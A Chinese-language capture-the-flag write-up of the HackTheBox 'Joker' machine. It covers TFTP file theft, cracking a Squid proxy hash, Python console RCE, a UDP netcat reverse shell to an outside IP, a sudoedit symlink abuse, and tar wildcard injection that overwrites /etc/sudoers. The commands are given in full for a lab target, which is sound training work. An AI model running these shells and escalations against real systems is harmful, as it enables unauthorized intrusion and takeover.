HackTheBox-Joker

admin 2024年3月25日08:42:35评论3 views字数 4970阅读16分34秒阅读模式
HackTheBox-Joker

在针对目标主机的攻击中我们采用了一系列的技术手段,包含但不限于TFTP文件传输、密码哈希解密、Squid代理配置漏洞利用、高效目录扫描、Python远程代码执行(RCE)、Sudo权限提升、交互式Shell环境优化、SSH私钥认证、细致的主机信息搜集以及计划任务下通过tar命令配合通配符实现权限提升等。寻求突破点的关键在于深入的信息搜集工作,特别是针对UDP端口的精确扫描。通过TFTP服务成功下载了Squid代理的配置文件,该文件中包含了关键的凭证信息。尽管密码凭证被MD5加密,但借助HashCat工具仍能破解出相应的明文密码。获取关键的用户凭证后,配置HTTP代理以访问内部服务,并发现本地80端口对外开放,这一发现极大地促进了攻击进展。如果此端口不可访问,则需要系统地遍历其他潜在开放端口来寻找可利用点。在对网站进行初步的目录探索后,一个敏感的接口/console直接导向了Python执行环境。测试表明系统不允许通过TCP协议进行外部通信,因此构建了一个UDP反向Shell代码,成功获得了用户级权限。进一步的信息搜集揭示了用户可以无需密码即可通过sudoedit(作为sudo套件的一部分)编辑layout.html文件。这要求一个可输入特殊符号的交互式环境,而升级交互环境后通过创建符号链接将layout.html直接指向authorized_keys,利用这一策略成功以用户alekos的身份登录SSH。在深入探索主机目录结构时,我们注意到/development目录下藏有多个tar包,推测这些可能与计划任务中的tar命令打包活动相关。使用pspy工具监控进程后确认了定时任务执行的特性。最终巧妙地利用tar打包命令结合通配符技术,成功提升至管理员权限。

0x01 侦查

端口扫描

首先使用 nmap 进行全端口扫描

nmap -Pn -p- 10.10.10.21 -oA Joker-TCP-All.nmap --min-rate=1000
HackTheBox-Joker

针对开放端口进一步扫描

nmap -Pn -p 22,3128 -sV -sC 10.10.10.21 -oA Joker-TCP-Script.nmap
HackTheBox-Joker

访问 3128 端口为 Squid 代理,目前 3.5.12 版本不存在已知漏洞

HackTheBox-Joker

使用 UDP 协议扫描后发现目标主机的 TFTP 服务开放

nmap -Pn -sU --top-ports 200 10.10.10.21 -oA Joker-UDP-top200.nmap
HackTheBox-Joker

TFTP登录

连接目标主机的 TFTP 服务,由于 TFTP 服务只提供文件读取和协议功能,不提供 FTP 那样的用户认证、目录浏览等功能,所以在使用 TFTP 服务时需要知道目标文件的绝对路径。

tftp 10.10.10.21
HackTheBox-Joker

通过 TFTP 服务下载 Squid 代理的配置文件,其默认路径为/etc/squid/squid.conf

tftp > binary
tftp > get /etc/squid/squid.conf
HackTheBox-Joker

配置文件中提示代理需要基础认证,同时记录了密码文件路径为/etc/squid/passwords

cat squid.conf | grep -v "#"
HackTheBox-Joker

通过 TFTP 服务下载密码文件

tftp > get /etc/squid/passwords
HackTheBox-Joker

成功拿到用户名和对应密码哈希

HackTheBox-Joker

哈希破解

识别哈希值为 MD5 APR1 类型

hashid '$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0'
HackTheBox-Joker

其类型在 hashcat 中对应值为1600

HackTheBox-Joker

使用 hashcat 爆破哈希,成功拿到明文为ihateseafood

hashcat -a 0 -m 1600 passwords /usr/share/wordlists/rockyou.txt --username
HackTheBox-Joker

0x02 上线[werkzeug]

Squid代理

目前虽然已知 Squid 代理的认证凭据,但代理后的主机开放哪些端口仍处于未知状态,利用命令curl编写脚本可知哪些端口开放了 Web 服务

import subprocess
from concurrent.futures import ThreadPoolExecutor

# 代理设置
proxy = "10.10.10.21:3128"
proxy_auth = "kalamari:ihateseafood"

# 目标设置
target = "http://127.0.0.1"

# 最大同时运行的线程数
max_threads = 100

def scan_port(port):
    try:
        # 构建curl命令
        curl_cmd = [
            "curl""-m""5""-s""-o""/dev/null""-w""%{http_code}""-x"f"http://{proxy}",
            "--proxy-user", proxy_auth, f"{target}:{port}"
        ]
        
        # 执行curl命令
        result = subprocess.run(curl_cmd, capture_output=True, text=True)
        
        # 检查HTTP响应码
        if result.stdout and result.returncode == 0:
            print(f"成功访问 {target}:{port} - 响应码: {result.stdout}")
    except Exception as e:
        print(f"扫描端口 {port} 时发生错误: {e}")

# 使用线程池并发扫描端口
with ThreadPoolExecutor(max_workers=max_threads) as executor:
    for port in range(165536):
        executor.submit(scan_port, port)

执行后扫描结果显示80端口开放

python3 port_scan.py | grep "200"
HackTheBox-Joker

在火狐浏览器中通过 FoxyProxy 插件配置 HTTP 代理并设置用户名密码

HackTheBox-Joker

通过代理访问地址http://127.0.0.1界面如下:

HackTheBox-Joker

使用 gobuster 进行目录扫描,成功找到/console/list目录

gobuster dir -u http://127.0.0.1 -w /usr/share/wordlists/dirb/big.txt --proxy http://kalamari:[email protected]:3128 --no-error -t 50 
HackTheBox-Joker

Python RCE

访问/console接口为 Python 命令执行界面

HackTheBox-Joker

查看 Python 版本为 2.7.12

import sys;sys.version;
HackTheBox-Joker

查看当前目录、目录下的文件以及当前登录用户

import os;
os.getcwd();
os.getlistdir('.')
os.getlogin
HackTheBox-Joker

首先使用 TCP 建立反弹shell,奇怪的是命令行界面出现卡死,同时本地并没有收到响应

import os, pty, socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(('10.10.16.26',80))

难道是因为不出网吗?使用 ping 命令进行测试

import os;os.system('ping -c1 10.10.16.26')
HackTheBox-Joker

结果显示目标主机能出网,TCP 无法建立连接可能是因为防火墙存在限制

tcpdump -i tun0 icmp
HackTheBox-Joker

查看 iptables 中 IPv4 的默认规则,其中入站规则只允许 ICMP、UDP、TCP:22、TCP:3128,而出站规则禁止所有TCP协议,也就是说想要拿到反弹shell可以使用 UDP、DNS 等协议

with open('/etc/iptables/rules.v4', 'r') as f: print(f.read())
HackTheBox-Joker

执行命令通过 UDP 协议出站获取shell

import os;os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.16.26 443 >/tmp/f &").read()
HackTheBox-Joker

成功拿到反弹shell,使用 Python 调用 PTY

nc -nvlp 443 -u
python -c 'import pty;pty.spawn("/bin/bash")'
HackTheBox-Joker

0x03 权限提升[alekos]

sudo提权

查看 sudo 权限提示可无密码执行 sudoedit 命令以 alekos 用户权限编辑/var/www/*/*/layout.html

sudo -l
HackTheBox-Joker

使用sudoedit命令会调用编辑器,而在当前终端环境下无法使用特殊符号来操作编辑器,可使用以下命令来改善交互式体验

stty raw -echo;fg
reset

HackTheBox-Jokertesting目录下新建test目录,完成后通过 ln 命令创建符号链接指向 alekos 家目录下的authorized_keys

ln -s /home/alekos/.ssh/authorized_keys layout.html
HackTheBox-Joker

使用 sudoedit 命令以用户 alekos 权限编辑layout.html

sudoedit -u alekos /var/www/testing/test/layout.html

在其中写入本地 SSH 公钥,按^X退出后按Y保存并回车

HackTheBox-Joker

SSH登录

配合 SSH 私钥成功登录 alekos 用户

ssh [email protected]
HackTheBox-Joker

在当前用户桌面上拿到第一个flag

cat user.txt
HackTheBox-Joker

0x04 权限提升[root]

信息收集

在家目录中存在目录/backup/development,其中/backup目录下存在多个备份文件,有意思的是它们的生成时间都相隔五分钟

HackTheBox-Joker

/development目录下为由 Python 构建的应用代码

HackTheBox-Joker

选择任一备份文件查看可知其打包了/development目录中的文件,推测系统中可能存在计划任务:每五分钟使用tar命令备份/development目录

HackTheBox-Joker

使用 scp 上传 pspy 用于监控系统进程

scp pspy64 [email protected]:/home/alekos/
HackTheBox-Joker

猜想验证成功:计划任务每隔五分钟执行/root/backup.sh

./pspy64
HackTheBox-Joker

通配符提权

利用计划任务的tar命令和通配符为当前用户写入 sudo 权限

cd /home/alekos/development && echo 'echo "alekos ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
cd /home/alekos/development && echo "" > "--checkpoint-action=exec=sh privesc.sh"
cd /home/alekos/development && echo "" > --checkpoint=1

当执行以上命令后tar一旦计划任务执行就会配合参数运行privesc.sh

tar cf backup.tar --checkpoint=1 --checkpoint-action=exec=sh privesc.sh

等待五分钟后通过 sudo 命令成功拿到 root 权限

sudo su
HackTheBox-Joker

成功在管理员目录下拿到第二个flag

cat root.txt
HackTheBox-Joker

查看backup.sh显示其中的确存在tar命令和通配符*

HackTheBox-Joker

想要删除写入的文件可使用以下命令

rm -- --checkpoint=1
rm -- '--checkpoint-action=exec=sh privsec.sh'

原文始发于微信公众号(A11Safe):HackTheBox-Joker

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月25日08:42:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Jokerhttp://cn-sec.com/archives/2600498.html

发表评论

匿名网友 填写信息